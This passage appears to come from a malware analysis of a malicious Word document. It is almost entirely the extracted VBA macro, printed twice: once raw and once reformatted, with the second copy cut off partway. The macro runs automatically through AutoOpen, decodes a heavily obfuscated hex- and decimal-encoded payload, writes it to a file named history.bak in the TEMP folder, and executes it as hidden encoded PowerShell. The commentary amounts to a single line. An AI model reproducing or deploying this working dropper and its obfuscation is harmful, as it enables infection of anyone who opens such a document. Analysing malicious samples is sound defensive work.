Private Sub odhsjwpphlxnb()
Dim bnhupraoau As String
CreateObject("WScript.Shell").currentdirectory = Environ("TEMP")
bnhupraoau = sryivxjsdncj()
dropPath = Environ("TEMP")
Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("53637269707469") & uxdufnkjlialsyp("6e672e46696c6553797374656d4f626a656374"))
Set dfdjqgaqhvxxi = rxnnvnfqufrzqfhnff.CreateTextFile(dropPath & uxdufnkjlialsyp("5c68697374") & uxdufnkjlialsyp("6f72792e62616b"), True)
dfdjqgaqhvxxi.Write bnhupraoau
dfdjqgaqhvxxi.Close
End Sub
Private Function wdysllqkgsbzs(strBytes) As String
Dim aNumbers
Dim fxnrfzsdxmcvranp As String
Dim iIter
fxnrfzsdxmcvranp = ""
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter))
Next
wdysllqkgsbzs = fxnrfzsdxmcvranp
End Function
Private Function okbzichkqtto() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3734203635203636203132322036352036382034382036352037342031") & uxdufnkjlialsyp("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313230203635203638203130") & uxdufnkjlialsyp("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203638203635203635203734") & uxdufnkjlialsyp("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") & uxdufnkjlialsyp("37203438203635203737203635203635203438203635203638203737203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203132312036352036382038312036352037372036352036352035") & uxdufnkjlialsyp("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313232203635203731203639203635203737203130332036362031303620363520363720393920363520373920313139203635203130372036352037322036352036352038302038312036352031") & uxdufnkjlialsyp("3130203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373120313033203635203130302036352036362034382036352037322036352036352037392031303320") & uxdufnkjlialsyp("36352031313820363520363720353620363520373420313139203635203535203635203637203831"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352031303020313033203635203537203635203639203130372036352039382031303320363620353020363520373120353620363520393720313139203636203130382036352036372034") & uxdufnkjlialsyp("38203635203835"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31303320363620313038203635203732203737203635203130302036352036362037382036352037312038352036352031303020363520363620313131203635203731203536203635203930") & uxdufnkjlialsyp("203635203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203637203438203635203836203831203636203132322036352037312038") & uxdufnkjlialsyp("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") & uxdufnkjlialsyp("2031313720363520373120393920363520373320363520363520313136203635203730203835203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820") & uxdufnkjlialsyp("3635203731203831203635203738203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313232203635203731203733203635") & uxdufnkjlialsyp("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") & uxdufnkjlialsyp("20313033203635203639203635203635203130312031313920363520313035203635203639"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363920363520313030203831203636203438203635203731203130332036352039") & uxdufnkjlialsyp("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520393720383120363620") & uxdufnkjlialsyp("313138203635203731203532203635203733203130332036352035372036352036372038312036352039372038312036362035372036352036382031313520363520313030"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313139203636203131312036352037312031303720363520393820363520363620313038") & uxdufnkjlialsyp("2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("34392036352037312038352036352037352038312036362035352036352036372038312036352038392031313920363520353720363520363720313033203635203833203831203636203131") & uxdufnkjlialsyp("37203635203732"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392036352039382031313920363620313134203635203731203835203635203736203831203636203833") & uxdufnkjlialsyp("20363520373120383520363520393920313139203636203438203635203639203438203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037") & uxdufnkjlialsyp("37203635203930203831203636203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520") & uxdufnkjlialsyp("37322037332036352039392031313920363620313132203635203731"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("35322036352039302031313920363520313033203635203637203438203635203836203831203636203132312036352037312031303720363520373320363520363520313037203635203732203635") & uxdufnkjlialsyp("203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37342036352036362031323220363520363720") & uxdufnkjlialsyp("35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635") & uxdufnkjlialsyp("2037312038352036352039392031303320363620313232203635203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352038312036352036362035352036352036372037332036352038") & uxdufnkjlialsyp("3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("383120363620353420363520373120363920363520") & uxdufnkjlialsyp("313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31313220363520373220343820363520") & uxdufnkjlialsyp("37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3637") & uxdufnkjlialsyp("20363520363520373620383120363620313137203635203731203835203635203733203635203635203131302036352036392035322036352039382031313920363620313137203635203731203835"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373420313139203635203131322036352036372036352036352031303120313139203635203130372036352037322037332036352038302038312036362031313220363520") & uxdufnkjlialsyp("373120383520363520313031"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352031303320") & uxdufnkjlialsyp("363520363720383120363520383920313139203635203130332036352036372034382036352038322038312036362031323120363520373220373320363520393820313139203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520") & uxdufnkjlialsyp("363720363520363520383520313139203636203438203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120") & uxdufnkjlialsyp("36352037322037332036352039382031313920363620313231203635203730203839"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520383920383120363620313231203635203731203130372036352038392038") & uxdufnkjlialsyp("31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036352031303720363520373220373320363520383020383120") & uxdufnkjlialsyp("3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352037") & uxdufnkjlialsyp("31203130372036352039382031303320363620313130203635203637203635203635203736203831203636203734203635203731203532203635203939203635203636203439203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37322038312036352038342031313920363620313035203635203731203131312036352039302038312036362031303620363520373220383120363520373320363520363520313037203635203732") & uxdufnkjlialsyp("203733"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203739203131392036352031303720363520373220383120363520383020383120363620") & uxdufnkjlialsyp("373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130") & uxdufnkjlialsyp("3820363520373220383120363520393720363520363620313138"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203731203831203635203733") & uxdufnkjlialsyp("20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031303420363520363820373320") & uxdufnkjlialsyp("3635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392031313920363520313033203635203637203438203635203834203831203636203130382036352037322038312036352039372036352036362031313820363520373120") & uxdufnkjlialsyp("3831203635203733203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363620383120") & uxdufnkjlialsyp("36352036392035362036352038352031313920363620383520363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535") & uxdufnkjlialsyp("203635203637203733203635203831203831203636203439203635203732203831203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731203536203635203938") & uxdufnkjlialsyp("20313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520") & uxdufnkjlialsyp("3131362036352036392037332036352039382031313920363620313037"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373220") & uxdufnkjlialsyp("3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620313038203635203731"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3438203635") & uxdufnkjlialsyp("203736203130332036362038352036352037312038352036352031303120363520363620343820363520363720353220363520383220383120363620313137203635203731203737203635203938"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730203835203635") & uxdufnkjlialsyp("203836203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312036352036382031303320363520373620313033203636203732203635203731") & uxdufnkjlialsyp("20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635") & uxdufnkjlialsyp("20313033203635203637203438"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352039372031303320363620") & uxdufnkjlialsyp("3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313032") & uxdufnkjlialsyp("20383120363520313033203635203732203737203635203938203635203636203130382036352037312038352036352039392036352036352031303320363520363820363520363520373620313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520353220363520373220343820363520383320363520363620") & uxdufnkjlialsyp("3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373220373320363520383820313139203635203132322036352036382038312036352037382038") & uxdufnkjlialsyp("31203636203533203635203730203536203635203938203831203635203438203635203731203737203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("393920313033203635203131392036352036382038352036352031303220383120") & uxdufnkjlialsyp("3635203631"))
okbzichkqtto = fxnrfzsdxmcvranp
End Function
Private Function sryivxjsdncj() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + okbzichkqtto()
sryivxjsdncj = fxnrfzsdxmcvranp
End Function
Sub lmavedb()
dropPath = Environ("TEMP")
Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("536372697074696e672e46696c6553797374") & uxdufnkjlialsyp("656d4f626a656374"))
Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & uxdufnkjlialsyp("5c68") & uxdufnkjlialsyp("6973746f72792e62616b"))
secret = ktmlmpc.ReadAll
ktmlmpc.Close
Code = "powershell -WindowStyle hidden -e """ & secret
x = Shell(Code, 1)
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Function uxdufnkjlialsyp(ByVal tiyrahvbz As String) As String
Dim nqjveawetp As Long
For nqjveawetp = 1 To Len(tiyrahvbz) Step 2
uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvbz, nqjveawetp, 2)))
Next nqjveawetp
End Function

After removing the sections within ---- and using an online formatter to format the code, it looks much more readable.

Sub AutoOpen()
    odhsjwpphlxnb
    Call lmavedb
End Sub
Private Sub odhsjwpphlxnb()
    Dim bnhupraoau  As String
    CreateObject("WScript.Shell").currentdirectory = Environ("TEMP")
    bnhupraoau = sryivxjsdncj()
    dropPath = Environ("TEMP")
    Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("53637269707469") & uxdufnkjlialsyp("6e672e46696c6553797374656d4f626a656374"))
    Set dfdjqgaqhvxxi = rxnnvnfqufrzqfhnff.CreateTextFile(dropPath & uxdufnkjlialsyp("5c68697374") & uxdufnkjlialsyp("6f72792e62616b"), True)
    dfdjqgaqhvxxi.Write bnhupraoau
    dfdjqgaqhvxxi.Close
End Sub
Private Function wdysllqkgsbzs(strBytes) As String
    Dim aNumbers
    Dim fxnrfzsdxmcvranp As String
    Dim iIter
    fxnrfzsdxmcvranp = ""
    aNumbers = Split(strBytes)
    For iIter = LBound(aNumbers) To UBound(aNumbers)
        fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter))
    Next
    wdysllqkgsbzs = fxnrfzsdxmcvranp
End Function
Private Function okbzichkqtto() As String
    Dim fxnrfzsdxmcvranp As String
    fxnrfzsdxmcvranp = ""
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3734203635203636203132322036352036382034382036352037342031") & uxdufnkjlialsyp("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313230203635203638203130") & uxdufnkjlialsyp("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203638203635203635203734") & uxdufnkjlialsyp("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") & uxdufnkjlialsyp("37203438203635203737203635203635203438203635203638203737203635203930"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203132312036352036382038312036352037372036352036352035") & uxdufnkjlialsyp("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313232203635203731203639203635203737203130332036362031303620363520363720393920363520373920313139203635203130372036352037322036352036352038302038312036352031") & uxdufnkjlialsyp("3130203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373120313033203635203130302036352036362034382036352037322036352036352037392031303320") & uxdufnkjlialsyp("36352031313820363520363720353620363520373420313139203635203535203635203637203831"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352031303020313033203635203537203635203639203130372036352039382031303320363620353020363520373120353620363520393720313139203636203130382036352036372034") & uxdufnkjlialsyp("38203635203835"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31303320363620313038203635203732203737203635203130302036352036362037382036352037312038352036352031303020363520363620313131203635203731203536203635203930") & uxdufnkjlialsyp("203635203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203637203438203635203836203831203636203132322036352037312038") & uxdufnkjlialsyp("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") & uxdufnkjlialsyp("2031313720363520373120393920363520373320363520363520313136203635203730203835203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820") & uxdufnkjlialsyp("3635203731203831203635203738203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313232203635203731203733203635") & uxdufnkjlialsyp("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") & uxdufnkjlialsyp("20313033203635203639203635203635203130312031313920363520313035203635203639"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363920363520313030203831203636203438203635203731203130332036352039") & uxdufnkjlialsyp("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520393720383120363620") & uxdufnkjlialsyp("313138203635203731203532203635203733203130332036352035372036352036372038312036352039372038312036362035372036352036382031313520363520313030"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313139203636203131312036352037312031303720363520393820363520363620313038") & uxdufnkjlialsyp("2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("34392036352037312038352036352037352038312036362035352036352036372038312036352038392031313920363520353720363520363720313033203635203833203831203636203131") & uxdufnkjlialsyp("37203635203732"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392036352039382031313920363620313134203635203731203835203635203736203831203636203833") & uxdufnkjlialsyp("20363520373120383520363520393920313139203636203438203635203639203438203635203930"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037") & uxdufnkjlialsyp("37203635203930203831203636203637"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520") & uxdufnkjlialsyp("37322037332036352039392031313920363620313132203635203731"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("35322036352039302031313920363520313033203635203637203438203635203836203831203636203132312036352037312031303720363520373320363520363520313037203635203732203635") & uxdufnkjlialsyp("203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37342036352036362031323220363520363720") & uxdufnkjlialsyp("35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635") & uxdufnkjlialsyp("2037312038352036352039392031303320363620313232203635203637"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352038312036352036362035352036352036372037332036352038") & uxdufnkjlialsyp("3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("383120363620353420363520373120363920363520") & uxdufnkjlialsyp("313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31313220363520373220343820363520") & uxdufnkjlialsyp("37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3637") & uxdufnkjlialsyp("20363520363520373620383120363620313137203635203731203835203635203733203635203635203131302036352036392035322036352039382031313920363620313137203635203731203835"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373420313139203635203131322036352036372036352036352031303120313139203635203130372036352037322037332036352038302038312036362031313220363520") & uxdufnkjlialsyp("373120383520363520313031"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352031303320") & uxdufnkjlialsyp("363520363720383120363520383920313139203635203130332036352036372034382036352038322038312036362031323120363520373220373320363520393820313139203636"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520") & uxdufnkjlialsyp("363720363520363520383520313139203636203438203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120") & uxdufnkjlialsyp("36352037322037332036352039382031313920363620313231203635203730203839"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520383920383120363620313231203635203731203130372036352038392038") & uxdufnkjlialsyp("31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036352031303720363520373220373320363520383020383120") & uxdufnkjlialsyp("3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352037") & uxdufnkjlialsyp("31203130372036352039382031303320363620313130203635203637203635203635203736203831203636203734203635203731203532203635203939203635203636203439203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37322038312036352038342031313920363620313035203635203731203131312036352039302038312036362031303620363520373220383120363520373320363520363520313037203635203732") & uxdufnkjlialsyp("203733"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203739203131392036352031303720363520373220383120363520383020383120363620") & uxdufnkjlialsyp("373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130") & uxdufnkjlialsyp("3820363520373220383120363520393720363520363620313138"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203731203831203635203733") & uxdufnkjlialsyp("20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031303420363520363820373320") & uxdufnkjlialsyp("3635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392031313920363520313033203635203637203438203635203834203831203636203130382036352037322038312036352039372036352036362031313820363520373120") & uxdufnkjlialsyp("3831203635203733203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363620383120") & uxdufnkjlialsyp("36352036392035362036352038352031313920363620383520363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535") & uxdufnkjlialsyp("203635203637203733203635203831203831203636203439203635203732203831203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731203536203635203938") & uxdufnkjlialsyp("20313033"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520") & uxdufnkjlialsyp("3131362036352036392037332036352039382031313920363620313037"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373220") & uxdufnkjlialsyp("3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620313038203635203731"))
